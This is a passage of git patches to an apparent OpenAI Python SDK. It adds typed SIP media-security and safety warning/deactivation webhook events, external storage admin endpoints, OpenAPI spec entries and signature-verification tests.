from typing_extensions import Literal, deprecated
from ..._models import BaseModel
@@ -35,6 +35,14 @@ class Data(BaseModel):
untrusted call metadata.
"""
+ sip_media_security: Union[Literal["rtp", "srtp"], str, None] = None
+ """Media protection selected on the SIP leg during SDP negotiation.
+
+ `srtp` indicates SRTP; `rtp` indicates unencrypted RTP. Omitted when unknown.
+ This does not describe SIP signaling security or confirm that media has flowed.
+ Clients should handle unrecognized values as unknown.
+ """
+
@deprecated("Use LiveTransportIncomingWebhookEvent (live.transport.incoming) instead.", category=None)
class LiveCallIncomingWebhookEvent(BaseModel):
diff --git a/src/openai/types/webhooks/live_transport_incoming_webhook_event.py b/src/openai/types/webhooks/live_transport_incoming_webhook_event.py
index b95c57e1b8..97c9307480 100644
--- a/src/openai/types/webhooks/live_transport_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/live_transport_incoming_webhook_event.py
@@ -1,6 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import List, Optional
+from typing import List, Union, Optional
from typing_extensions import Literal
from ..._models import BaseModel
@@ -38,6 +38,14 @@ class Data(BaseModel):
type: Literal["sip"]
"""The incoming transport type. Always `sip`."""
+ sip_media_security: Union[Literal["rtp", "srtp"], str, None] = None
+ """Media protection selected on the SIP leg during SDP negotiation.
+
+ `srtp` indicates SRTP; `rtp` indicates unencrypted RTP. Omitted when unknown.
+ This does not describe SIP signaling security or confirm that media has flowed.
+ Clients should handle unrecognized values as unknown.
+ """
+
class LiveTransportIncomingWebhookEvent(BaseModel):
"""Sent when an incoming API SIP session is available for Live acceptance.
diff --git a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
index bc3f5b345e..7a2095d623 100644
--- a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
@@ -1,6 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import List, Optional
+from typing import List, Union, Optional
from typing_extensions import Literal
from ..._models import BaseModel
@@ -36,6 +36,14 @@ class Data(BaseModel):
untrusted call metadata.
"""
+ sip_media_security: Union[Literal["rtp", "srtp"], str, None] = None
+ """Media protection selected on the SIP leg during SDP negotiation.
+
+ `srtp` indicates SRTP; `rtp` indicates unencrypted RTP. Omitted when unknown.
+ This does not describe SIP signaling security or confirm that media has flowed.
+ Clients should handle unrecognized values as unknown.
+ """
+
class RealtimeCallIncomingWebhookEvent(BaseModel):
"""
diff --git a/tests/lib/test_webhooks.py b/tests/lib/test_webhooks.py
index 09e457aee9..6b63c15f03 100644
--- a/tests/lib/test_webhooks.py
+++ b/tests/lib/test_webhooks.py
@@ -1,12 +1,16 @@
from __future__ import annotations
import os
+import hmac
+import json
+import base64
from unittest import mock
import pytest
import openai
from openai._exceptions import InvalidWebhookSignatureError
+from openai.types.webhooks import UnwrapWebhookEvent
base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
@@ -16,6 +20,8 @@
TEST_TIMESTAMP = 1750861210 # Fixed timestamp that matches our test signature
TEST_WEBHOOK_ID = "wh_685c059ae39c8190af8c71ed1022a24d"
TEST_SIGNATURE = "v1,gUAg4R2hWouRZqRQG4uJypNS8YK885G838+EHb4nKBY="
+SIP_EVENT_TYPES = ["live.call.incoming", "live.transport.incoming", "realtime.call.incoming"]
+SIP_MEDIA_SECURITY_VALUES = [None, "rtp", "srtp", "future_media_security"]
def create_test_headers(
@@ -29,9 +35,51 @@ def create_test_headers(
}
+def create_sip_test_payload(event_type: str, media_security: str | None) -> tuple[str, dict[str, str]]:
+ identifier = "call_id" if event_type == "realtime.call.incoming" else "session_id"
+ data: dict[str, object] = {
+ identifier: "rtc_test" if identifier == "call_id" else "live_test",
+ "sip_headers": [{"name": "X-Test", "value": "example"}],
+ }
+ if event_type == "live.transport.incoming":
+ data["type"] = "sip"
+ if media_security is not None:
+ data["sip_media_security"] = media_security
+ payload = json.dumps(
+ {"id": "evt_sip_test", "object": "event", "created_at": TEST_TIMESTAMP, "type": event_type, "data": data}
+ )
+ signed_payload = f"{TEST_WEBHOOK_ID}.{TEST_TIMESTAMP}.{payload}".encode()
+ signature = base64.b64encode(
+ hmac.new(base64.b64decode(TEST_SECRET.removeprefix("whsec_")), signed_payload, "sha256").digest()
+ ).decode()
+ return payload, create_test_headers(signature=f"v1,{signature}")
+
+
+def assert_sip_event(event: UnwrapWebhookEvent, event_type: str, media_security: str | None, payload: str) -> None:
+ assert (
+ event.type == "live.call.incoming"
+ or event.type == "live.transport.incoming"
+ or event.type == "realtime.call.incoming"
+ )
+ assert event.type == event_type
+ assert event.data.sip_media_security == media_security
+ assert event.to_dict() == json.loads(payload)
+
+
class TestWebhooks:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ @pytest.mark.parametrize("event_type", SIP_EVENT_TYPES)
+ @pytest.mark.parametrize("media_security", SIP_MEDIA_SECURITY_VALUES)
+ def test_unwrap_sip_media_security(
+ self, client: openai.OpenAI, event_type: str, media_security: str | None
+ ) -> None:
+ payload, headers = create_sip_test_payload(event_type, media_security)
+ event = client.webhooks.unwrap(payload, headers, secret=TEST_SECRET)
+ assert_sip_event(event, event_type, media_security, payload)
+
@mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
@parametrize
def test_unwrap_with_secret(self, client: openai.OpenAI) -> None:
@@ -172,6 +220,17 @@ class TestAsyncWebhooks:
"async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
)
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ @pytest.mark.parametrize("event_type", SIP_EVENT_TYPES)
+ @pytest.mark.parametrize("media_security", SIP_MEDIA_SECURITY_VALUES)
+ async def test_unwrap_sip_media_security(
+ self, async_client: openai.AsyncOpenAI, event_type: str, media_security: str | None
+ ) -> None:
+ payload, headers = create_sip_test_payload(event_type, media_security)
+ event = async_client.webhooks.unwrap(payload, headers, secret=TEST_SECRET)
+ assert_sip_event(event, event_type, media_security, payload)
+
@mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
@parametrize
async def test_unwrap_with_secret(self, async_client: openai.AsyncOpenAI) -> None:
From 19f1f3769f4d2e907b6970c52f647a750de625e6 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Sat, 19 Sep 2026 11:04:15 +0000
Subject: [PATCH 177/341] feat(api): add safety warning and deactivation
webhook events (#3908)
## Summary
Adds typed webhook payloads for safety warnings and deactivations.
## Changes
- Parse safety.warning_issued and safety.deactivation_issued through the
existing webhook unwrap methods.
- Expose each event's safety case ID in data.id.
---
.castiron.stats.yml | 12 +-
api_reference/openapi.transformed.yml | 134 ++++++++++++++++++
src/openai/resources/webhooks/api.md | 2 +
src/openai/types/webhooks/__init__.py | 4 +
...afety_deactivation_issued_webhook_event.py | 32 +++++
.../safety_warning_issued_webhook_event.py | 30 ++++
.../types/webhooks/unwrap_webhook_event.py | 4 +
tests/lib/test_webhooks.py | 65 ++++++++-
8 files changed, 276 insertions(+), 7 deletions(-)
create mode 100644 src/openai/types/webhooks/safety_deactivation_issued_webhook_event.py
create mode 100644 src/openai/types/webhooks/safety_warning_issued_webhook_event.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index fa142034d6..9ef9b13157 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 4e2c0a68-f552-4057-9398-0656631a643d
-openapi_spec_hash: b81e20e8186e5f45afc36ecb4ceb3b33
-openapi_transformed_spec_hash: 73682ea454f2f3c2bde8466c223eb434
+generation_id: df936b0c-3a74-4407-aff0-23ee0aa5a051
+openapi_spec_hash: 83d739d1f34f3c6641c60fb43f882cb9
+openapi_transformed_spec_hash: 11ef1888efd4aab54eed55a63ac4c9cd
config_hash: ba291299a0f8e738664099a7d7741f24
-codegen_sha: 91a42dc9d1a7ce0aae0e5202636b0e6470190813
-codegen_hash: ee7a457167dd360a7d59f207be427c7c12db2bae58ac9967fbf8a46b2757cf9a
-public_codegen_sha: 367700a19c7975b8e616abcd58e1b7c1a574b106
+codegen_sha: c5827dc664f987f9b5c708746cb2f5365c3d5755
+codegen_hash: 76e577a907d602c7d7f45ba7ecb9b19db4db064f8196f59ec372b7d496ae5f67
+public_codegen_sha: 842234b163ff84a841598aba8ac8569f69204051
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 20c0c7e496..c31a06940a 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -30653,6 +30653,20 @@ webhooks:
responses:
'200':
description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
+ safety_deactivation_issued:
+ post:
+ description: |
+ Sent when a deactivation is issued for a safety identifier in your organization.
+ Retrieve the case details with `GET /v1/safety/cases/{id}` using `data.id`.
+ requestBody:
+ description: The event payload sent by the API.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookSafetyDeactivationIssued'
+ responses:
+ '200':
+ description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
safety_org_alert_created:
post:
description: |
@@ -30669,6 +30683,20 @@ webhooks:
responses:
'200':
description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
+ safety_warning_issued:
+ post:
+ description: |
+ Sent when a warning is issued for a safety identifier in your organization.
+ Retrieve the case details with `GET /v1/safety/cases/{id}` using `data.id`.
+ requestBody:
+ description: The event payload sent by the API.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookSafetyWarningIssued'
+ responses:
+ '200':
+ description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
components:
schemas:
AddUploadPartRequest:
@@ -66166,6 +66194,56 @@ components:
"type": "safety.alert.created",
"data": {"id": "alert_0123456789abcdef0123456789abcdef"}
}
+ WebhookSafetyDeactivationIssued:
+ type: object
+ title: safety.deactivation_issued
+ description: Sent when a deactivation is issued for a safety identifier in your organization.
+ required:
+ - id
+ - object
+ - created_at
+ - type
+ - data
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook event.
+ object:
+ type: string
+ enum:
+ - event
+ x-stainless-const: true
+ description: Always `event`.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp in seconds when the event was created.
+ type:
+ type: string
+ enum:
+ - safety.deactivation_issued
+ x-stainless-const: true
+ description: Always `safety.deactivation_issued`.
+ data:
+ type: object
+ additionalProperties: false
+ required:
+ - id
+ properties:
+ id:
+ type: string
+ description: The safety case ID to pass to `GET /v1/safety/cases/{id}`.
+ x-oaiMeta:
+ name: safety.deactivation_issued
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_123",
+ "object": "event",
+ "created_at": 1787659200,
+ "type": "safety.deactivation_issued",
+ "data": {"id": "C-abc123"}
+ }
WebhookSafetyOrgAlertCreated:
type: object
title: safety.org_alert.created
@@ -66217,6 +66295,56 @@ components:
"type": "safety.org_alert.created",
"data": {"id": "alert_0123456789abcdef0123456789abcdef"}
}
+ WebhookSafetyWarningIssued:
+ type: object
+ title: safety.warning_issued
+ description: Sent when a warning is issued for a safety identifier in your organization.
+ required:
+ - id
+ - object
+ - created_at
+ - type
+ - data
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook event.
+ object:
+ type: string
+ enum:
+ - event
+ x-stainless-const: true
+ description: Always `event`.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp in seconds when the event was created.
+ type:
+ type: string
+ enum:
+ - safety.warning_issued
+ x-stainless-const: true
+ description: Always `safety.warning_issued`.
+ data:
+ type: object
+ additionalProperties: false
+ required:
+ - id
+ properties:
+ id:
+ type: string
+ description: The safety case ID to pass to `GET /v1/safety/cases/{id}`.
+ x-oaiMeta:
+ name: safety.warning_issued
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_123",
+ "object": "event",
+ "created_at": 1787659200,
+ "type": "safety.warning_issued",
+ "data": {"id": "C-abc123"}
+ }
ModerationInputType:
type: string
enum:
@@ -96519,6 +96647,12 @@ x-oaiMeta:
- type: object
key: WebhookLiveTransportIncoming
path:
+ - type: object
+ key: WebhookSafetyWarningIssued
+ path:
+ - type: object
+ key: WebhookSafetyDeactivationIssued
+ path:
- type: object
key: WebhookSafetyAlertCreated
path:
diff --git a/src/openai/resources/webhooks/api.md b/src/openai/resources/webhooks/api.md
index ae3d0d0de8..d060b41445 100644
--- a/src/openai/resources/webhooks/api.md
+++ b/src/openai/resources/webhooks/api.md
@@ -23,7 +23,9 @@ from openai.types.webhooks import (
ResponseFailedWebhookEvent,
ResponseIncompleteWebhookEvent,
SafetyAlertCreatedWebhookEvent,
+ SafetyDeactivationIssuedWebhookEvent,
SafetyOrgAlertCreatedWebhookEvent,
+ SafetyWarningIssuedWebhookEvent,
UnwrapWebhookEvent,
WebhookEndpoint,
WebhookEndpointList,
diff --git a/src/openai/types/webhooks/__init__.py b/src/openai/types/webhooks/__init__.py
index 3e33cba52c..dad0bfae23 100644
--- a/src/openai/types/webhooks/__init__.py
+++ b/src/openai/types/webhooks/__init__.py
@@ -29,6 +29,7 @@
from .response_completed_webhook_event import ResponseCompletedWebhookEvent as ResponseCompletedWebhookEvent
from .response_incomplete_webhook_event import ResponseIncompleteWebhookEvent as ResponseIncompleteWebhookEvent
from .safety_alert_created_webhook_event import SafetyAlertCreatedWebhookEvent as SafetyAlertCreatedWebhookEvent
+from .safety_warning_issued_webhook_event import SafetyWarningIssuedWebhookEvent as SafetyWarningIssuedWebhookEvent
from .fine_tuning_job_failed_webhook_event import FineTuningJobFailedWebhookEvent as FineTuningJobFailedWebhookEvent
from .realtime_call_incoming_webhook_event import RealtimeCallIncomingWebhookEvent as RealtimeCallIncomingWebhookEvent
from .live_transport_incoming_webhook_event import (
@@ -46,3 +47,6 @@
from .safety_identifier_blocked_webhook_event import (
SafetyIdentifierBlockedWebhookEvent as SafetyIdentifierBlockedWebhookEvent,
)
+from .safety_deactivation_issued_webhook_event import (
+ SafetyDeactivationIssuedWebhookEvent as SafetyDeactivationIssuedWebhookEvent,
+)
diff --git a/src/openai/types/webhooks/safety_deactivation_issued_webhook_event.py b/src/openai/types/webhooks/safety_deactivation_issued_webhook_event.py
new file mode 100644
index 0000000000..0abdc2e4fc
--- /dev/null
+++ b/src/openai/types/webhooks/safety_deactivation_issued_webhook_event.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SafetyDeactivationIssuedWebhookEvent", "Data"]
+
+
+class Data(BaseModel):
+ id: str
+ """The safety case ID to pass to `GET /v1/safety/cases/{id}`."""
+
+
+class SafetyDeactivationIssuedWebhookEvent(BaseModel):
+ """
+ Sent when a deactivation is issued for a safety identifier in your organization.
+ """
+
+ id: str
+ """The unique ID of the webhook event."""
+
+ created_at: int
+ """The Unix timestamp in seconds when the event was created."""
+
+ data: Data
+
+ object: Literal["event"]
+ """Always `event`."""
+
+ type: Literal["safety.deactivation_issued"]
+ """Always `safety.deactivation_issued`."""
diff --git a/src/openai/types/webhooks/safety_warning_issued_webhook_event.py b/src/openai/types/webhooks/safety_warning_issued_webhook_event.py
new file mode 100644
index 0000000000..9f37faa91c
--- /dev/null
+++ b/src/openai/types/webhooks/safety_warning_issued_webhook_event.py
@@ -0,0 +1,30 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SafetyWarningIssuedWebhookEvent", "Data"]
+
+
+class Data(BaseModel):
+ id: str
+ """The safety case ID to pass to `GET /v1/safety/cases/{id}`."""
+
+
+class SafetyWarningIssuedWebhookEvent(BaseModel):
+ """Sent when a warning is issued for a safety identifier in your organization."""
+
+ id: str
+ """The unique ID of the webhook event."""
+
+ created_at: int
+ """The Unix timestamp in seconds when the event was created."""
+
+ data: Data
+
+ object: Literal["event"]
+ """Always `event`."""
+
+ type: Literal["safety.warning_issued"]
+ """Always `safety.warning_issued`."""
diff --git a/src/openai/types/webhooks/unwrap_webhook_event.py b/src/openai/types/webhooks/unwrap_webhook_event.py
index bff30832fe..84fc0d6ecc 100644
--- a/src/openai/types/webhooks/unwrap_webhook_event.py
+++ b/src/openai/types/webhooks/unwrap_webhook_event.py
@@ -17,12 +17,14 @@
from .response_completed_webhook_event import ResponseCompletedWebhookEvent
from .response_incomplete_webhook_event import ResponseIncompleteWebhookEvent
from .safety_alert_created_webhook_event import SafetyAlertCreatedWebhookEvent
+from .safety_warning_issued_webhook_event import SafetyWarningIssuedWebhookEvent
from .fine_tuning_job_failed_webhook_event import FineTuningJobFailedWebhookEvent
from .realtime_call_incoming_webhook_event import RealtimeCallIncomingWebhookEvent
from .live_transport_incoming_webhook_event import LiveTransportIncomingWebhookEvent
from .safety_org_alert_created_webhook_event import SafetyOrgAlertCreatedWebhookEvent
from .fine_tuning_job_cancelled_webhook_event import FineTuningJobCancelledWebhookEvent
from .fine_tuning_job_succeeded_webhook_event import FineTuningJobSucceededWebhookEvent
+from .safety_deactivation_issued_webhook_event import SafetyDeactivationIssuedWebhookEvent
__all__ = ["UnwrapWebhookEvent"]
@@ -46,7 +48,9 @@
ResponseFailedWebhookEvent,
ResponseIncompleteWebhookEvent,
SafetyAlertCreatedWebhookEvent,
+ SafetyDeactivationIssuedWebhookEvent,
SafetyOrgAlertCreatedWebhookEvent,
+ SafetyWarningIssuedWebhookEvent,
],
PropertyInfo(discriminator="type"),
]
diff --git a/tests/lib/test_webhooks.py b/tests/lib/test_webhooks.py
index 6b63c15f03..432817508b 100644
--- a/tests/lib/test_webhooks.py
+++ b/tests/lib/test_webhooks.py
@@ -10,7 +10,11 @@
import openai
from openai._exceptions import InvalidWebhookSignatureError
-from openai.types.webhooks import UnwrapWebhookEvent
+from openai.types.webhooks import (
+ UnwrapWebhookEvent,
+ SafetyWarningIssuedWebhookEvent,
+ SafetyDeactivationIssuedWebhookEvent,
+)
base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
@@ -22,6 +26,10 @@
TEST_SIGNATURE = "v1,gUAg4R2hWouRZqRQG4uJypNS8YK885G838+EHb4nKBY="
SIP_EVENT_TYPES = ["live.call.incoming", "live.transport.incoming", "realtime.call.incoming"]
SIP_MEDIA_SECURITY_VALUES = [None, "rtp", "srtp", "future_media_security"]
+SAFETY_EVENT_TYPES = {
+ "safety.warning_issued": SafetyWarningIssuedWebhookEvent,
+ "safety.deactivation_issued": SafetyDeactivationIssuedWebhookEvent,
+}
def create_test_headers(
@@ -66,9 +74,49 @@ def assert_sip_event(event: UnwrapWebhookEvent, event_type: str, media_security:
assert event.to_dict() == json.loads(payload)
+def create_safety_test_payload(event_type: str) -> tuple[str, dict[str, str]]:
+ payload = json.dumps(
+ {
+ "id": "evt_safety_test",
+ "object": "event",
+ "created_at": TEST_TIMESTAMP,
+ "type": event_type,
+ "data": {"id": "case_test"},
+ }
+ )
+ signed_payload = f"{TEST_WEBHOOK_ID}.{TEST_TIMESTAMP}.{payload}".encode()
+ signature = base64.b64encode(
+ hmac.new(base64.b64decode(TEST_SECRET.removeprefix("whsec_")), signed_payload, "sha256").digest()
+ ).decode()
+ return payload, create_test_headers(signature=f"v1,{signature}")
+
+
+def assert_safety_event(event: UnwrapWebhookEvent, event_type: str, payload: str) -> None:
+ assert isinstance(event, SAFETY_EVENT_TYPES[event_type])
+ assert event.type == "safety.warning_issued" or event.type == "safety.deactivation_issued"
+ assert event.type == event_type
+ assert event.data.id == "case_test"
+ assert event.to_dict() == json.loads(payload)
+
+
class TestWebhooks:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ @pytest.mark.parametrize("event_type", SAFETY_EVENT_TYPES)
+ def test_unwrap_safety_events(self, client: openai.OpenAI, event_type: str) -> None:
+ payload, headers = create_safety_test_payload(event_type)
+ event = client.webhooks.unwrap(payload, headers, secret=TEST_SECRET)
+ assert_safety_event(event, event_type, payload)
+
+ for tampered_payload in [payload.replace("case_test", "case_tampered"), "{"]:
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ client.webhooks.unwrap(tampered_payload, headers, secret=TEST_SECRET)
+
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ client.webhooks.unwrap(payload, headers, secret="wrong_safety_webhook_secret")
+
@mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
@parametrize
@pytest.mark.parametrize("event_type", SIP_EVENT_TYPES)
@@ -220,6 +268,21 @@ class TestAsyncWebhooks:
"async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
)
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ @pytest.mark.parametrize("event_type", SAFETY_EVENT_TYPES)
+ async def test_unwrap_safety_events(self, async_client: openai.AsyncOpenAI, event_type: str) -> None:
+ payload, headers = create_safety_test_payload(event_type)
+ event = async_client.webhooks.unwrap(payload, headers, secret=TEST_SECRET)
+ assert_safety_event(event, event_type, payload)
+
+ for tampered_payload in [payload.replace("case_test", "case_tampered"), "{"]:
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ async_client.webhooks.unwrap(tampered_payload, headers, secret=TEST_SECRET)
+
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ async_client.webhooks.unwrap(payload, headers, secret="wrong_safety_webhook_secret")
+
@mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
@parametrize
@pytest.mark.parametrize("event_type", SIP_EVENT_TYPES)
From 6332577d3fb5f83f7f381a431460262f7192402d Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Sat, 19 Sep 2026 13:44:30 +0000
Subject: [PATCH 178/341] feat(api): add external storage configuration
management (#3909)
## Summary
Manage customer-owned AWS and Azure storage configurations through the
Python administration API.
## Changes
- Add create, retrieve, list, delete, and validate operations for
external storage configurations.
- Represent AWS and Azure provider parameters and returned metadata with
distinct types.
- Expose storage status, cursor pagination, and registration/removal
audit details.
---
.castiron.stats.yml | 14 +-
api.md | 21 +
api_reference/openapi.transformed.yml | 547 ++++++++++++++++
.../resources/admin/organization/__init__.py | 21 +
.../admin/organization/audit_logs.py | 4 +
.../admin/organization/external_storage.py | 583 ++++++++++++++++++
.../admin/organization/organization.py | 32 +
.../types/admin/organization/__init__.py | 6 +
.../organization/audit_log_list_params.py | 2 +
.../organization/audit_log_list_response.py | 55 +-
.../aws_external_storage_provider.py | 21 +
.../azure_external_storage_provider.py | 23 +
.../external_storage_configuration.py | 31 +
.../external_storage_create_params.py | 39 ++
.../organization/external_storage_deleted.py | 15 +
.../external_storage_list_params.py | 19 +
.../organization/test_external_storage.py | 418 +++++++++++++
tests/test_external_storage.py | 180 ++++++
18 files changed, 2022 insertions(+), 9 deletions(-)
create mode 100644 src/openai/resources/admin/organization/external_storage.py
create mode 100644 src/openai/types/admin/organization/aws_external_storage_provider.py
create mode 100644 src/openai/types/admin/organization/azure_external_storage_provider.py
create mode 100644 src/openai/types/admin/organization/external_storage_configuration.py
create mode 100644 src/openai/types/admin/organization/external_storage_create_params.py
create mode 100644 src/openai/types/admin/organization/external_storage_deleted.py
create mode 100644 src/openai/types/admin/organization/external_storage_list_params.py
create mode 100644 tests/api_resources/admin/organization/test_external_storage.py
create mode 100644 tests/test_external_storage.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 9ef9b13157..e627ad7cf1 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: df936b0c-3a74-4407-aff0-23ee0aa5a051
-openapi_spec_hash: 83d739d1f34f3c6641c60fb43f882cb9
-openapi_transformed_spec_hash: 11ef1888efd4aab54eed55a63ac4c9cd
-config_hash: ba291299a0f8e738664099a7d7741f24
-codegen_sha: c5827dc664f987f9b5c708746cb2f5365c3d5755
-codegen_hash: 76e577a907d602c7d7f45ba7ecb9b19db4db064f8196f59ec372b7d496ae5f67
-public_codegen_sha: 842234b163ff84a841598aba8ac8569f69204051
+generation_id: 0d99919e-4341-4042-88cf-64ec38034f9d
+openapi_spec_hash: 72dd9904e4616e46924320e49100670e
+openapi_transformed_spec_hash: e7d24da6852468e1b83db4468b3151de
+config_hash: c426d2799884f277047e545f57fad0c8
+codegen_sha: 273299f9b1b1d4aec76dd3f3c8053f24c99e5a6a
+codegen_hash: 22535fd7ebf99f054ee5627760908ae8c99c24130de1e9b3a150ba51a75a29c6
+public_codegen_sha: 8441291d5011f90d19b1ec9d3ed5ff9cbf7add16
diff --git a/api.md b/api.md
index 1e93d917a2..ad814fa255 100644
--- a/api.md
+++ b/api.md
@@ -1286,6 +1286,27 @@ Methods:
## Organization
+### ExternalStorage
+
+Types:
+
+```python
+from openai.types.admin.organization import (
+ AwsExternalStorageProvider,
+ AzureExternalStorageProvider,
+ ExternalStorageConfiguration,
+ ExternalStorageDeleted,
+)
+```
+
+Methods:
+
+- client.admin.organization.external_storage.create(\*\*params) -> ExternalStorageConfiguration
+- client.admin.organization.external_storage.retrieve(external_storage_id) -> ExternalStorageConfiguration
+- client.admin.organization.external_storage.list(\*\*params) -> SyncCursorPage[ExternalStorageConfiguration]
+- client.admin.organization.external_storage.delete(external_storage_id) -> ExternalStorageDeleted
+- client.admin.organization.external_storage.validate(external_storage_id) -> ExternalStorageConfiguration
+
### AuditLogs
Types:
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index c31a06940a..aaf2378714 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -22689,6 +22689,317 @@ paths:
x-oaiMeta:
group: live
returns: The stored session recording as binary stereo WAV audio.
+ /organization/external_storage:
+ get:
+ summary: List external storage configurations
+ description: List the organization's customer-managed external storage configurations.
+ operationId: Listexternalstorageconfigurations
+ parameters:
+ - name: project_id
+ in: query
+ required: false
+ schema:
+ anyOf:
+ - example: proj_123
+ type: string
+ - type: 'null'
+ - name: after
+ in: query
+ description: Return external storage configurations after this ID.
+ required: false
+ schema:
+ anyOf:
+ - description: Return external storage configurations after this ID.
+ type: string
+ - type: 'null'
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ExternalStorageOrder'
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ minimum: 1
+ maximum: 100
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ExternalStorageListResource'
+ x-oaiMeta:
+ group: administration
+ examples:
+ request:
+ curl: |
+ curl "https://api.openai.com/v1/organization/external_storage?limit=20&order=desc" \
+ -H "Authorization: Bearer $OPENAI_ADMIN_KEY" \
+ -H "Content-Type: application/json"
+ response: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "organization.external_storage",
+ "id": "extstorage_abc123",
+ "project_id": "proj_abc123",
+ "provider": {
+ "type": "aws",
+ "account_id": "123456789012",
+ "region": "us-east-1",
+ "bucket": "customer-logs",
+ "role_arn": "arn:aws:iam::123456789012:role/OpenAIExternalStorageRole",
+ "external_id": "proj_abc123"
+ },
+ "geography": "US",
+ "status": "validated",
+ "created_at": 1711471533
+ },
+ {
+ "object": "organization.external_storage",
+ "id": "extstorage_azure123",
+ "project_id": "proj_azure123",
+ "provider": {
+ "type": "azure",
+ "tenant_id": "11111111-1111-1111-1111-111111111111",
+ "subscription_id": "22222222-2222-2222-2222-222222222222",
+ "resource_group": "customer-rg",
+ "account_name": "customerstorage",
+ "container": "openai-data",
+ "region": "eastus"
+ },
+ "geography": "US",
+ "status": "validated",
+ "created_at": 1711471500
+ }
+ ],
+ "first_id": "extstorage_abc123",
+ "last_id": "extstorage_azure123",
+ "has_more": false
+ }
+ security:
+ - AdminApiKeyAuth: []
+ post:
+ summary: Create an external storage configuration
+ description: Register one customer-managed external storage configuration.
+ operationId: Createanexternalstorageconfiguration
+ parameters: []
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/CreateExternalStorageBody'
+ required: true
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ExternalStorageResponse'
+ x-oaiMeta:
+ group: administration
+ examples:
+ - title: AWS S3
+ request:
+ curl: |
+ curl -X POST https://api.openai.com/v1/organization/external_storage \
+ -H "Authorization: Bearer $OPENAI_ADMIN_KEY" \
+ -H "Content-Type: application/json" \
+ -d '{
+ "project_id": "proj_abc123",
+ "provider": {
+ "type": "aws",
+ "bucket": "customer-logs",
+ "role_arn": "arn:aws:iam::123456789012:role/OpenAIExternalStorageRole"
+ }
+ }'
+ response: |
+ {
+ "object": "organization.external_storage",
+ "id": "extstorage_abc123",
+ "project_id": "proj_abc123",
+ "provider": {
+ "type": "aws",
+ "account_id": "123456789012",
+ "region": "us-east-1",
+ "bucket": "customer-logs",
+ "role_arn": "arn:aws:iam::123456789012:role/OpenAIExternalStorageRole",
+ "external_id": "proj_abc123"
+ },
+ "geography": "US",
+ "status": "pending",
+ "created_at": 1711471533
+ }
+ - title: Azure Blob Storage
